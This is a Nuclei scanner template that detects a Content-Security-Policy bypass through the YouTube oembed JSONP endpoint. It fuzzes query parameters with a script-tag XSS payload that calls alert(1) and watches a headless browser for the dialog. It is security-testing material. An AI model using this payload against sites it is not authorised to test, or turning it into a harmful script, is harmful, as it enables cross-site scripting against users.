id: youtube-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - YouTube API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,youtube-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "youtube.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: youtube_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.youtube.com/oembed?callback=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "youtube_api_csp_xss == true"
# digest: 490a0046304402202a2d3fb31c5c9c2d0f222cb285d1842f443fc4c789b243f8e2e6391bb32e6c46022039d82a5312bf54e3fc51b0fd9c2191caacdfc932a48d9a660abb46acb0ad7daf:922c64590222798bb761d5b6d8e72950